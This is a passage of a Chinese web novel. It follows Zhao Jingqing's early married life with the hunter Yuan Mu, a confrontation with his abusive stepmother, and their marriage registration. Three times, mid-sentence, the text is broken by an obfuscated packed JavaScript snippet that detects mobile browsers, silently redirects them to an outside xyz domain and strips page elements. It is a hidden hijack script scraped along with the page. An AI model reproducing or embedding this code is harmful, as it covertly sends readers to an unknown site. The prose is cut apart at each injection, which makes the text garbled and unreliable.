泡菜过遍清水,袁牧站灶台边端起蛋炒饭就开吃,吃两口咬一截酸豇豆,几口将饭尖尖消灭。 赵景清拿来板凳,让他坐着。 袁牧坐下后半是抱怨半是好笑,“它毛色雪白,和雪融为一片,找它找得我眼睛快成对眼了,还好大毛二毛机灵,能抓着白狐狸,它俩立大功。” 白狐狸和白雪,白花花一片,想想都难找,赵景清听着袁牧的形容,嘴角扯出浅淡的笑,刷锅舀水烧热水。 袁牧吃几口饭,“本想着天黑了在山上找山洞窝一宿,实在太冷了,雪茫茫一片还算亮堂,能瞧见路,这不一抓着就往回赶。” 赵景清坐到灶膛前,加了两根柴,灶膛里火光跃动,烧得更旺更明亮,他道:“你早些回来也好,昨儿天色一变,娘就坐立难安,可担心你了,你平安回来她才能安心。” “嗯,知道家里人惦记着,昨儿天色一变我就想下山,碰巧遇见了白狐狸,不想错过了。”袁牧吃得快噎得慌,提起温在灶台上的水壶倒了碗水喝,山林更深处还有他挖的两个陷阱,大概率有收获,但想着家里人,他没去看,天色一变直接下山,袁牧道,“让你和爹娘担心了。” 赵景清抬头看向袁牧,顿了下不甚自在地移开双目,盯着灶膛里跃动的火光。 火烧得大,袁牧吃完饭,水也烧开了。 赵景清起身提来木桶舀水,提水回屋让袁牧能擦洗身上,泡个脚,他在山上冻坏了,泡个热水脚会舒服些。 他刚提起来,袁牧的声音响起,“景清你放下,我来提。” 袁牧随手放下洗好的碗,接过赵景清手里的木桶,桶里满满的水蒸腾着热气。景清干瘦的身子哪来那么大力气,袁牧道:“你回屋睡觉,剩下的我自个儿收拾。” “嗯。”赵景清垂眸看向袁牧手里提着的木桶,见他提着跨出厨房门,赵景清折身回灶膛后,把火熄了,又把碗筷放好,这才回屋。 房门留了一条缝,赵景清推门进屋,袁牧已经擦过身洗好脸,正在泡脚。赵景清上床,整理好被子躺下,阖上眼。 一阵水声响起,而后是出门的脚步声,不多时脚步声又响起,昏暗的烛火熄灭,床板震动,被子被掀开,灌入些许凉意,窸窸窣窣的摩擦声后,身旁躺下一具温热的身躯。 寂静的黑暗中,赵景清身子僵硬,嘴角崩成一条直线。 温热的身体靠近他,胳膊相触,便没再靠近,随后两人中间空着漏风的被子往下压了压,没了动静。 不多时,身侧响起均匀粗重的呼吸声,袁牧已经睡熟。 赵景清不知不觉睡着,冰块似的脚比寻常暖和得更快,睡得也更安稳,一夜无梦。 “袁牧!你回来了,快让娘看看……” 迷迷糊糊间,赵景清听见林翠娥惊喜的声音,睁开双目,天色已经大亮,赵景清侧过头,身旁是空的。 “回来就好,平安回来就好,叫你不进山你不听,这两天下雪可担心死我了。” “你娘挂着脸,我烟都不敢抽,闷头干活还遭她挑刺骂几句。” “袁老二,你还好意思说。” “娘,我没事儿,下次听你的。” “你也是……” 赵景清回神,人也清醒了,理好棉被下床穿衣裳,收拾好走出房门,林翠娥面带笑容,眉间的愁绪一扫而空。 见她高兴,赵景清心里也高兴,面上盈着浅笑。 林翠娥瞧见他,笑着道:“醒了?下回半夜别一个人忙活,喊我一起。” “没多少事儿,下次喊你。”赵景清应道,却没往心里去,一个人起来忙活就够了,那用得着两个人。 袁牧回身看过去,目光微顿,昨儿夜里烛火昏暗看不真切,白日里再看景清,还是瘦,但气色比之前好许多,嘴唇有了血色,眼睛弯弯含笑,像两轮小月牙。 与之四目相对,赵景清神情微僵,笑意带上些许勉强。 赵景清垂下眼帘,去厨房烧水,大早上热水用得快,要喝要洗漱,赵景清舀了一锅水,坐灶膛前生火。 林翠娥的声音从院子里传来,问袁牧昨儿啥时候回来,在山里有没有遇到危险,有没有受伤,关怀备至。 水烧热,赵景清舀出半锅洗漱的水,留下半锅水烧开。 林翠娥迈进厨房,嘴里哼着调子,舀水洗漱完又催赵景清赶紧去,接手了灶台上的活。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779757|174790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 赵景清舀了半盆水,蹲厨房后门水沟揩齿漱口,满嘴牙粉的味道。 身旁不声不响蹲了个人,袁牧低声问,“方才我们说话是不是吵着你睡觉了?” 赵景清摇摇头,吐掉嘴里的水,“睡饱了,这些天都是这个点醒。” 拧着帕子,赵景清学林翠娥关怀的话语,问道:“进山辛苦,你咋不多睡会儿,起恁早?” 袁牧揩齿漱口,声音含糊,“吃饱睡好,精力补回来了。” 赵景清洗好脸拧帕子,没瞧见袁牧洗脸帕,“你帕子是哪块,我给你拿。” “和你用一块,”袁牧吐掉口里的水,拿过赵景清手里的帕子,“娘嫌我那块太破烂,拿去擦灰了。” “……”赵景清扯了扯嘴角,“那、那你用,我去帮娘做饭。” 说罢,转身进屋。 帕子罩脸上,袁牧鼻翼翕合,拿下来看了看,凑近鼻尖轻嗅了下,有一股淡淡的清香。袁牧疑惑,用一样的澡豆,咋景清帕子是香的,又迟疑地嗅了下,没闻错,是草木清香。 ……不是,他在干啥?袁牧飞快扭头朝厨房看,见景清在斗柜拿碗,做贼似的松了口气,洗干净帕子展开挂檐下竹竿上。 吃过早饭,赵景清拌鸡食去鸡圈喂鸡,从鸡窝里摸出来十二个鸡蛋,赵景清仔细检查,鸡棚顶上找着一个,一共十三个蛋。 装鸡蛋的篮子放外边,赵景清把鸡屎铲旁边破篓子里,快装满一篓子了。 忙活完,赵景清回到前头院里,就见柴房门口绑着个黑灰条纹的动物,瞧着是猪崽,但和家养的不一样,应该是袁牧说的野猪崽子。 袁星扒着窗户朝里瞧,脚垫得老高,小半个身子都探进柴房。 柴房里传出尖锐的嘶鸣,赵景清抓着鸡蛋篮子的手紧了紧,见门扉半掩留了条缝,上前几步,没敢靠得太近,探头看。 一头浅棕色白屁股的动物四处乱窜,袁牧抓了两次没抓着。 袁牧从门缝瞥见赵景清在探头探脑,“景清,去扯点菜叶子来。” “……好。”赵景清怔了下才应声,快步走进厨房,放下鸡蛋篮子,去后院扫开雪砍了两个白菜,小跑着送到柴房门口,“菜拿来了。” 袁牧伸出手拿走一个,没关门,门缝留得更大了。 赵景清站门口往里瞧,袁牧挽绳子打了一个结,留出大大的绳圈,里头放上白菜。绳子一头绑在石墩上,另一头袁牧牵着退到门外。 赵景清站在袁牧身后,小声问:“这是干什么?” 袁牧小声回答:“做陷阱,它饿了一天一夜,有吃的肯定上当。” 不一会儿,就见柴房里狍子踱步靠近,转着圈嗅闻,低头啃食,两只前蹄稳稳当当踩进绳圈里。袁牧用力一扯,绳圈收紧,将它两只前蹄绑得结结实实,任它如何嘶鸣挣扎也挣脱不开。 赵景清睁圆了眼睛,一脸的新奇与惊叹。 “抓住了!”袁星跑过来,抱住赵景清胳膊,“景清哥哥你看!二哥抓住了,二哥真厉害!” 赵景清笑着,“嗯,厉害。” 袁牧眉梢微扬,栓上狍子拉去后面猪圈,袁家猪圈隔开两间,养的大猪早卖了,猪圈空了一间,袁牧把狍子赶进去。 赵景清和袁星跟在他屁股后面,袁星手里还捧着狍子啃一半的白菜,猪圈门一关,袁星就将白菜丢进去。狍子记吃不记打,嗅了嗅继续啃。 赵景清目不转睛盯着看了许久,傻傻的还挺可爱。 隔壁圈里的猪唧唧哼哼叫,赵景清问袁牧,“要养它吗?” 袁牧道:“不养,后天陪你回门,顺便带去镇上卖。” 回门,要回梧桐里赵家,赵景清晨起伊始便明媚的心情荡至谷底,他点点头嗯了声,将情绪藏在心底。 9. 009 袁牧走出猪圈,“袁星别看了,去帮我烧水。” 袁星撇撇嘴,“景清哥哥,你看我二哥,就知道使唤人。” “烧水杀猪,你想不想吃肉?”袁牧问,不给他说好话就算,还告状上眼药。 袁星立马改口风,乖巧道:“吃吃吃,我这就去。” 赵景清被他两逗笑了,笑意浅淡,抿嘴角忍着笑,赵景清道:“星儿,我和你一起去。” “好呀!”袁星拉着赵景清,几步走到前院,扭头对袁牧做了个鬼脸。 袁牧:“……”泼皮猴儿。 出门三日,景清和爹娘弟弟都亲近不少,他们处得好,一家人和和美美,袁牧心里高兴。只是可惜,景清与他生疏了些。 时间还短,他还出门不在家,慢慢来。 厨房,赵景清打水,袁星生火。 林翠娥清点鸡蛋,有大半背篓了,再捡两天的蛋就能放满,后天景清回门,袁牧顺路拉这次猎的东西去镇上卖,她也一起去,把蛋卖了,袁牧和景清去赵家,她还能帮忙看着点东西。 “娘,二哥说今天杀猪吃肉!”袁星说,没得到林翠娥回应,又喊了声。 林翠娥站起来,“听到了听到了,就你嘴巴好吃。” “不一样,之前吃的是腌肉,今天吃新鲜肉。”袁星不高兴被说,反驳起来头头是道,家里猪杀了,过小半月二哥才成亲,肉都是腌过的,哪有新鲜的好吃。 “就你嘴巴叼,晚上让你二哥炖肉吃。”林翠娥乐了,对赵景清说,“袁牧做黄豆烧肉好吃,晚上你尝尝。” 赵景清颔首,“好。” “你多看着点,搭把手。”林翠娥叮嘱,“我去做鞋子,你后天回门就能穿上,穿身新的回去。” 几日处下来,林翠娥满意赵景清,打心眼里喜欢。 可赵景明不愿嫁进袁家,一副之前答应是被逼无奈的嘴脸,宁可闹得难堪也要下药换嫁去裴家,林翠娥想不通,她家是哪差了?裴家又有哪好? 林翠娥嘴上不说,心里还是有气,寻思着景清穿好吃好气色好,是袁家的脸面,倒要叫赵景明好生瞧瞧,袁家待夫郎多好。 “好,我省得。”赵景清回,沉闷的心情好上许多,回门而已,有袁牧在,李长菊不能打他,顶多被骂几句,没啥好怕的。 林翠娥走出厨房,不一会儿院里响起猪叫,赵景清和袁星站厨房门口看,先前绑在门口奄奄一息的野猪崽子,在袁牧手里奋力挣扎。 袁牧力气大,抓住两只前蹄拖到坝子边摁住,“爹,快点!” “来了!”袁老二端着个盆从菜园子那边疾步走出,手里拿着刚磨好的杀猪刀,刃口如霜。 放好盆接猪血,袁老二跪压着猪,一刀捅进猪脖子,野猪嘶鸣挣扎,不一会儿就停下来。 盆里接了半盆猪血,袁老二端走猪血处理,让出位置给袁牧。 袁牧问:“水烧好没?” 赵景清回头看,“好了。”说着,转身提桶舀水。 正要提出去,袁牧走进来,让他再舀一桶,一手提一桶出了厨房。 赵景清往锅里添满了水,再看时袁牧已经倒水烫毛,野猪脏得很,热水一烫,散发着难闻的气味。 袁牧烫两遍,又提水洗一遍,才开始腿毛,赵景清走近看,袁牧赶他,“远着点,没弄干净臊得很,当心弄你衣裳上了。” 赵景清想了想,往后退几步,躲开些。 袁牧眼中闪过笑意,手握刮毛刀熟练地褪毛,不多久便褪干净了,赵景清见状,回厨房提来一桶水放在旁边,又拿来竹簸箕。 袁牧拿着刀分肉,猪头猪蹄猪肋排,全分割开摆进去,肉在簸箕里堆成小山。 赵景清问:“这头猪多大?” “约摸六十几斤,不大。”袁牧端起簸箕,往厨房走。 袁牧收拾完,袁老二血处理好了,盆里凝成血块,他拿刀割成小块,袁牧道:“我爹做红烧猪血一绝,晚上做了你尝尝。” 赵景清连连点头,晚上有两菜了,赵景清盼着时间过快些,快点到晚上。 午饭吃的简单,吃完后林翠娥看了割好的肉,挑三份分出来。两份是一块前腿肉,肉不多,一斤多点;一份是两块肉,前腿后腿肉各一块;每一份旁都装了碗猪血。 林翠娥装进篮子里,“景清,你和星儿一道,给大伯和三叔家送去,多的给大伯家,少的给三叔家。” 另一份,林翠娥打算送去给袁月,袁月嫁去隔壁村,男人是屠夫,平日里少不了肉吃,可娘家给的不一样,林翠娥打算亲自送去。 “好。”赵景清提上篮子,和袁星一道出门。 路边积雪,道路泥泞,赵景清走得小心,不时看看四周。这还是他到乐明村后第一次出门,村里屋舍错落,多得是土屋茅草顶,少有几家是砖瓦房,袁家便是其一。 袁老大家近,两人很快就到了,放下肉就走。袁老三家稍远,两人走了好一会儿,林阿叔健谈,拉着他俩聊了许久。 送完肉回来,林翠娥不在家,袁牧在厨房忙活,泡上一盆黄豆。 赵景清问:“还要做啥,我来。” 袁牧迟疑,“洗猪大肠。” 赵景清轻轻啊了声,五官不由皱了皱,“好,怎么洗?” 瞧他反应好玩,袁牧轻笑,“我洗,你帮我冲水。” “……好。”赵景清暗暗松了口气。 大肠洗到一半,林翠娥回来了。 林翠娥站后门边,见夫夫两人一起干活,暗暗点头,面上是笑模样。看了会儿,林翠娥回厨房处理肉,晚上吃的留出来,剩下的都腌上,一半做腊肉,一半做腌肉。 肉多,过年只用买点新鲜肉包饺子,年后省着点吃,能吃半年。 黄豆泡两个时辰,手指一捏捻成两半,合适了。 袁牧挑出块最好的五花肉,切成两指宽的小块,焯水去腥,起锅烧油煸炒至微焦,倒入沥干水的黄豆翻炒几下,加入八角香叶提香,佐料也舍得放。 赵景清嗅着香味,心想这调料做啥都好吃,炒鞋底都好吃。 袁牧倒热水没过黄豆和肉块,盖上锅盖,余光瞥见灶膛前坐直身子,伸着脖子往锅里看的景清,眼中闪过笑意。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779758|174790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他还是拘谨,但许多小动作袁牧看在眼里,觉得可爱。 小火炖半个时辰,肉香弥漫,袁牧揭开锅盖,夹了一块肉盛碗里,递给赵景清,“尝尝盐味够不够。” 赵景清愣了下,接过碗吹凉后轻轻咬下一口,咸香味足,肉质酥烂,赵景清眸光明亮,“好吃,盐味够了。” 袁牧颔首,大火收汁出锅,换袁老二来掌勺做红烧猪血。 半刻后,开饭。 堂屋饭桌上三菜一汤,黄豆烧肉,红烧猪血,清炒菠菜,水煮萝卜,冒着腾腾热气,香气四溢。 五口人围坐桌边,其乐融融。 黄豆软烂,汤汁浓稠,拌饭吃可香,赵景清多吃了半碗饭,肚子胀得圆鼓鼓的,再吃不下更多。 夜里,身边多了个高大的身躯,被窝里比往日更暖和,许是犯食困,赵景清很快便睡过去,一觉至天明。 农闲时节不忙,每日里就那些个事儿。 赵景清从鸡圈捡鸡蛋出来,袁牧蹲昨儿杀猪的坝子边杀兔子剥皮,赵景清看了几眼,去厨房放鸡蛋,鸡蛋攒得快,放到最上面一层。 赵景清走到堂屋,“娘,明儿鸡蛋就满一背篓了!” “诶,省得了,明儿捡了鸡蛋,我和你们一路去镇上卖。”林翠娥说着,手上的活计不停,鞋子昨天做了一半,今儿得赶出来。 “好。”赵景清在旁边坐下,拿起做好一只的新鞋子,爱惜地摸了摸,触感绵软厚实,今儿做好,明儿就能穿上新鞋子,想想心里便开心。 下午,袁牧处理白狐皮、灰兔皮,要将生皮上的血肉刮除干净,再用水洗净,赵景清拿着水瓢,帮他舀水。 林翠娥声音传来,“景清,鞋子做好了,来试试合脚不!” 赵景清双目明亮,盛着明晃晃的喜悦,他看向袁牧,带着询问的意味——能去吗? “去吧,试完回来帮我。” “行。”水瓢在盆里随波晃动,赵景清步子雀跃奔向堂屋。 看着他背影,袁牧无奈失笑。 晚饭是袁牧做的,他做了份爆炒尖椒兔,又麻又辣,赵景清吃了不少,喝了许多水,晚上睡下后起来跑了两次茅房。 袁牧没睡着,他道:“明儿早点起,我定了刘大爷的驴车,赶早把狍子卖了,然后陪你回梧桐里。” 赵景清躺下压好被角,“好。” “下午咱去府衙签婚契,完了买点年货,还有半个月过年,该置办了。”袁牧把两人中间被子往下压结实。 赵景清在黑暗中转向袁牧,不解问:“为啥去府衙签婚契?” 寻常成亲只需由长辈做主见证,交换婚书即可,不用去府衙签婚契。 袁牧道:“那日的事儿闹得荒唐,之前和赵景明交换婚书,我去赵家搬东西时,把赵景明的退了,我的李长菊扣着不给。我心里不安生,想着过官府的明路,以免生变。” “景清,”袁牧唤了声,“这事儿过去了,现在你是我夫郞,我肯定对你好,和你好好过日子。” “嗯,我也是。”赵景清轻声回应,知道袁牧说得不是空话。 11. 011 李长菊气得不行,使劲戳赵景明额头,“你是傻子不成,听不出人在挖坑给你跳?我赶人走,你还叭叭在那说!” 她气赵景明不争气,可更气的是裴西安,连回门礼都不准备!赵父的叮嘱李长菊记在心里,儿子还要靠裴西安他爹留下的关系,去城里书院读书,不能往他身上撒气。 李长菊只能指着赵景明骂,“没有回门礼,没有就是没有,要不你开始就说已经让我收下,哪还有之后的事?平白叫人看笑话!” 他们倒好,回门呆一天,逢年过节回一天,听不着啥闲言碎语,她要被街坊邻居笑话好几年!想想李长菊就怄气! “娘,”赵景明捂着额头,蔫巴巴道,“我也是想让西安面上有光……” 许常英话里是明晃晃的坑,赵景明现在反应过来了,可他因袁牧的平安出现慌了神,现在都没静下来,哪还有功夫想其他。他的苦衷不能与人言说,是哑巴吃黄连,有苦说不出。 赵景明委屈不已,视线投向裴西安,却见他面色不虞,眼底燃烧怒火,赵景明僵在原地,分辩的话语说不出口。 任由李长菊骂了好一阵,裴西安才上前道:“娘,别说景明了,是我做事不周全。我母亲这些日子生病卧床,没心力操持,我没经验……” …… 赵景清和袁牧立在一旁,看了好大一出戏,见他们三你骂人我推责的,有得掰扯,袁牧扫视院子。 角落摆放着石磨,袁牧能想象出景清是怎样磨豆子做豆腐。 石磨不大,没有牲畜拉磨,只能人力推,他推久了都费力,更何况是景清。他身板干瘦,却是实实在在推磨做豆腐几年,怪不得能提起满桶水。 袁牧嘴角拉直,扫过仍在掰扯的三人,低头问景清,“你住哪屋,带我看看?” 赵景清迟疑了会儿,指向西厢最后的房间,“住那屋,可能已经收拾了。” 他推开门,让袁牧进去。 屋里摆放许多杂物,床板清空了,上头堆满东西,靠院子这边挨着墙壁放着个旧柜子,柜门掉下半扇。采光不好,大上午屋内黑黢黢的,只有一扇门,没窗通风,屋里弥漫着旧物腐朽的怪味。 袁牧心口火烧火燎,赵家根本没把景清当人看,倚仗他干活挣钱,吃穿住都吝啬给。想让马儿跑,又不给马儿吃草,赵家是在用景清的身体在熬,用他的命在赚钱。 “他们就让你住这屋?”袁牧问,他本就长得凶,沉下脸来甚是骇人。 赵景清不敢正眼看他,心里却不怕,他点点头,声音有些低,“之前不乱,我收拾得整齐。你不要生气,现在有爹娘和你,我过得很好,吃得好穿得好,住得也好。” “不一样。”袁牧收敛周身的凶悍气息,“我们待你好,不能抵消他们对你的苛待。” 赵景清抬头,眸子里映出袁牧认真的神情,心中触动。 “景清!”李长菊的声音响起,赵景清和袁牧走出房间。 “咋跑那屋去了?快过来。”李长菊招招手,面皮上扯出笑意,“景清,你出嫁这些天你爹可惦记你,饭吃不香,觉睡不好。你今儿回来,要不做点你拿手的给你爹吃。” 不等赵景清回应,李长菊道:“做一锅豆腐吧,你豆腐做得最香最好吃,你爹就好那一口,吃不腻。” 赵景清嘴角微抿,心里抵触不愿答应,搬出他爹来,他也不想答应,对上李长菊牵强的笑脸,赵景清胳膊起了一层疙瘩,他目光移向袁牧结实的臂膀,心中默道不怕。 拒绝的话刚到嘴边,却被袁牧抢了先,袁牧道:“李大娘,景清嫁给我,回娘家是客,哪有让客人做事的理?” 李长菊笑僵在脸上,眼角的褶皱颤了颤,兀自说:“理是这个理,可他爹想吃,清哥儿孝敬他是应该的。” 她把孝字搬出来,由不得赵景清不答应。 袁牧道:“今儿下午我们有事,来不及做,李大娘你看这样行不行,我们回家明儿空了,做好给爹送来。” “……行。”李长菊只能答应,心里气得不行,她看中的儿婿,便宜赵景清那个贱蹄子。 李长菊恨恨地扫过赵景清,景明那脑子,下药哪会那么轻易成功,依她看是赵景清算计的,骂声让她明哥儿承担,他坐收渔翁之利。 赵景清直直望向袁牧,好一会儿才回神,触电似地移开目光。 “都来了,”赵父推开门进来,手里提着一坛酒,屁股后跟着个十二三岁的少年,赵父关上门,“咋都在院里站着,进屋坐。” 赵父扭头喊身后的少年认人,“丰年,你大哥夫二哥夫。” 赵丰年听话喊人,赵父晃了晃手里的酒坛子,“西安,袁牧,你两陪我喝点。” 袁牧转身叫景清一起,赵父道:“咱们男人喝酒,叫他干啥,他娘做饭,他两都去厨房搭把手。” 袁牧深深看赵景清一眼,和赵父迈进堂屋。 几人一进屋,李长菊笑容消散,面目一横,往厨房走。 赵景清跟在最后迈进去,李长菊的心思藏也不藏,直接道:“家里养你大,不说我单论你爹,费了不少心血。家里还有个小的要养,正是读书花费大的时候,你爹年纪大了有心无力,你嫁人后要多帮扶家中,你多出点力,你爹也轻松些。” 她声音压得低,“袁家有钱,你得想法子握在自己手里,知道吗?做豆腐的手艺也别落下了,一个月二三两银子咧。” 赵景清盯着李长菊,看她那副贪婪嘴脸,眼神愈发古怪,他很疑惑,在李长菊心里,他是没有脑子没有心的提线木偶吗? “一个月往少了说,孝敬这个数回来,”李长菊伸出一个巴掌,“你弟弟要去省城三川书院读书,可要不少银钱。不是我问你要,是你爹的意思。” 五两,一个月五两银子,她还真敢说,赵景清只觉气血直冲头顶,他听见自己说:“没有。” “你知道就……不是,你说啥?”李长菊指着赵景清鼻子厉声道,“你再说一遍!” 赵景清手指攥紧袖子,与之对视,目光毫不躲闪,掷地有声,“我不会给你,别说我没有,就是有也不会给你。” 袁家对他好,他就是脑子坏了,也不可能掏袁家家底来补贴赵家。 “你——!”李长菊压低的骂声砸过来,“小兔崽子嫁出去翅膀硬了是吧?我说话你不听了是吧?!” 李长菊撸起袖子,抬手朝脸扇下,“小贱蹄子,我不让你涨涨教训,我就……” 赵景清紧盯李长菊的手,在它落下之际忽地后退几步,李长菊手掌落空,带得人一个趔趄。 无数次落在身上的疼痛没有到来,赵景清心间枷锁咔哒一声卸下,再看张牙舞爪的李长菊,已不觉得可怕。 “你还敢躲?!”李长菊不可置信,瞪大双目,“反了你!” “景明,把门关上,堵住他的嘴!”李长菊使唤道,目光四下搜寻趁手的东西。 赵景明眼里满是恶意,赵景清亭亭立在袁牧身旁,袁牧为他出头护着他,刺痛赵景明的眼。 那般模样,一如前世裴西安对赵景清的维护。 现今,裴西安却嫌他丢人! 赵景明已无暇去想,袁牧为啥没出事,他腿为啥没瘸,今儿丢的脸面受的委屈,全部归咎于赵景清,要从他身上找补回来。 赵景明转身关门,赵景清不可能站着挨打,大步上前拉扯他胳膊,不让他关门。 赵景明想甩开赵景清的手,不成想赵景清手劲不小,他完全挣脱不开,“你干嘛!给我松开!” 他手上力气小,但全身力气抵着门,赵景清一时拉不开。 李长菊手拿火钳冲过来,“小贱蹄子,今儿我就给你松松皮!” 火钳是铁疙瘩,落身上可疼,青青紫紫一片月余不消散,碰着就疼,那滋味赵景清尝过。 赵景清撒开手躲开,赵景明还在用力,一时不察往前扑倒,火钳直直落他胳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779760|174790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膊上。 “啊!”赵景明痛呼,“娘你打我干啥!” 李长菊愣住,忙撸起赵景明袖子,“我瞅瞅……” 赵景清趁机跑出厨房,他回头去,脑海中思绪万千,不过短短一瞬,他下定决心,哭叫道:“别打我!我听话……别打了!” 李长菊想到什么,拽住赵景清往厨房拖,“给老娘闭嘴!” 堂屋,袁牧听见声音,噌地站起身朝外跑,就见赵景清挣开李长菊,一屁股摔厨房门口,惊恐又畏惧,泪水连珠串落下,“我听话,我听你的……我给你钱,别打我……” “景清!”袁牧冲上前,怒视李长菊的神情格外凶悍,他横在赵景清和李长菊中间,扶赵景清站起来,拍去他身上的灰,压住火气温声道,“别怕,我在这,发生什么事了?” 赵景清抓着袁牧胳膊,红着眼看了看李长菊,又回眸看向堂屋门口追出来的赵父和赵丰年,他道:“姨娘说让我每月孝敬家里五两银子,还说是爹的意思,我不干,她就打我。” 他声音不小,不仅院子里的人能听见,院外竖起耳朵的人也能听见。 袁牧气急,嗓门粗大,“五两?!咋不去抢!” 赵父面色变了又变,狠狠瞪李长菊一眼,几步走到袁牧身前,“我们没这意思,他娘说得玩笑话,别往心里去。” 袁牧沉着脸,“玩笑话?玩笑话不答应拿火钳打人?!” 李长菊辩解,“我没打,我就是……我刚生火,一时没撒开手……” “你们打什么算盘,你们心里清楚,我心里也清楚,往后休要再提。”袁牧脸色阴沉,瞧着凶煞,他扫过赵家众人,警告意味明显,“景清,我们走。” 说罢,握住赵景清的手,走出赵家院子。 门吱呀一声,外头竖着耳朵听热闹的人赶忙找事做,余光却时时关注赵家。 赵景清道:“袁牧,菜篮子没拿。” “在这等我。”袁牧松开手,转身踏进赵家院子,找到篮子拿走。 很快,两人离开瞧不见人影。 “诶,你说人景清都嫁人了,李长菊还想拿捏人要钱,她咋想的?” “拿捏惯了,想不到景清会不听话呗。” “那不是,不答应还打人,你听到没,拿火钳打,谁家打孩子用铁疙瘩。” “当着人丈夫的面都敢打,景清以前在家当哥儿,怕不是被打更惨。” “一个月五两,一年六十两,狮子大开口,人是农户哪来那么多钱,把袁家往死里折腾啊。” “人不知足,那三线肉和鸡蛋多好,我女婿逢年过节给我送点,我开心得很。” “李长菊心肝肺都黑透了。” “你以为赵三能好哪儿去,没当爹的点头,她当后娘的敢恁欺负人?敢开这个口?” “这家子人要不得。” “你才晓得?我听说他家儿……” 议论声或低或高,赵父面黑如炭,胸膛急速起伏。 赵丰年见状,快步把大门关上。 “李长菊!”赵父声音从牙齿缝里挤出来,“你看你干的好事!” 李长菊道:“我真没打他,一下都没打着,他搁那儿唱戏呢!” 赵景明捂着胳膊,“是啊爹,娘没打着他……”反倒把他打一棍,可疼死他了。 “都给老子闭嘴!”赵父低吼,转身回屋,门摔砰一声巨响,屁大点事干不好,今儿是面子里子都丢尽了,今后咋在梧桐里过活?! 院子里,李长菊赵景明母子二人噤若寒蝉,赵丰年最得家里疼宠,跟没事人一样。裴西安恍若置身事外,静静看着这场闹剧。 赵丰年站了会儿,肚子饿了走进厨房,嘴里刁个馒头,想着中午还能吃顿好的,他回来瞧见娘抱着的菜篮子里有肉有蛋。 厨房里转了圈,赵丰年没瞧见肉,暗道坏了。 赵丰年站厨房门口,“娘!袁牧把肉提走了!” 12. 012 走出梧桐里,袁牧停下步子,拉赵景清站路边,“有没有被打着?” 赵景清眼睛还是红彤彤的,嘴角却挂着抹如释重负的浅笑,他摇摇头,“没有,我躲开了,都躲开了。” 袁牧又问:“屁股摔疼没?” “……不疼。”赵景清眼眸微垂,错开袁牧的注视,“我穿得厚实,不疼。” “那便好。”袁牧暗暗松了口气,天知道他看见李长菊手上挥着火钳要往景清身上招呼,他多想一脚给人踹开,他不敢想火钳真落到身上,景清会有多疼。 有他在,李长菊都敢动手打景清,从前景清在家当哥儿时,不定遭了多少罪,受了多少打。袁牧多想想,心口都堵得慌。 袁牧提起手中篮子,嘴角挑起抹笑意,示意赵景清掀开看。 赵景清疑惑,揭开篮子上蒙着的布,是三指宽的三线肉、八个鸡蛋,提进赵家是啥样,拿出来还是啥样。 赵景清微怔,再看袁牧,他嘴角的笑不怀好意。 “半点便宜也不叫他们占,”袁牧把布蒙回去,带着景清往府衙方向走,“等回家烧给你吃。” “好,我们一起吃。”赵景清没忍住笑了笑,眼睛弯弯。 袁牧看了会儿移开目光,“下次你唤我,我护着你。有我在,没人能欺负你。” 再也不让景清和赵家人独处,恶毒心肠没处使,全用景清身上了。 “好。”赵景清侧目,袁牧的胳膊粗壮有力,胸膛宽阔结实,向前沿着街道走了好一会儿,赵景清忽然低声道,“刚才……我知道我喊出声,你一定会来。” 袁牧扭头,两人目光相接,袁牧眉梢微扬,“这才对。” 约摸一刻后,两人抵达山阳镇府衙,这儿不是县衙,只是下设的公所,处理简单的事物。 门房有人看守,登记籍贯姓名和所办之事后,才放袁牧和赵景清入内。公所是个两进的小院子,登记婚契的地方就在左边倒数第二个小厢房。 登记的人是个头发花白的老头,乐呵呵给两人登记造册,就是上了年纪动作慢些,登记完,老头问:“你们婚书呢,拿来盖印。” 袁牧挠挠头,“没有,我们成亲阴差阳错,没交换婚书。” 老头盯着袁牧看了会儿,又看向赵景清,没多问什么,只是道:“我给你们写一份。” 老头磨墨润笔,问清两人姓名籍贯生辰八字和聘礼嫁妆,落笔写明,婚书的最后是—— 郎君袁牧,夫郎赵景清,于永安九年腊月初九,结为夫夫。 此证。 最后一笔落下,老头放下毛笔,拿出官印盖上递给二人,“收好了,丢失不补。” 袁牧接过,“好,多谢。” 走到院子里,袁牧还在拿着看,赵景清立在他身旁,亦侧身看。 袁牧指赵景清名字,“这是你。”又指自己的,“这是我。” “嗯!”赵景清识字不多,只会认自己名字和些简单的,还是许阿叔家孩子教他的,他看着袁牧指的两个字,仔细描绘笔画,将它记住。 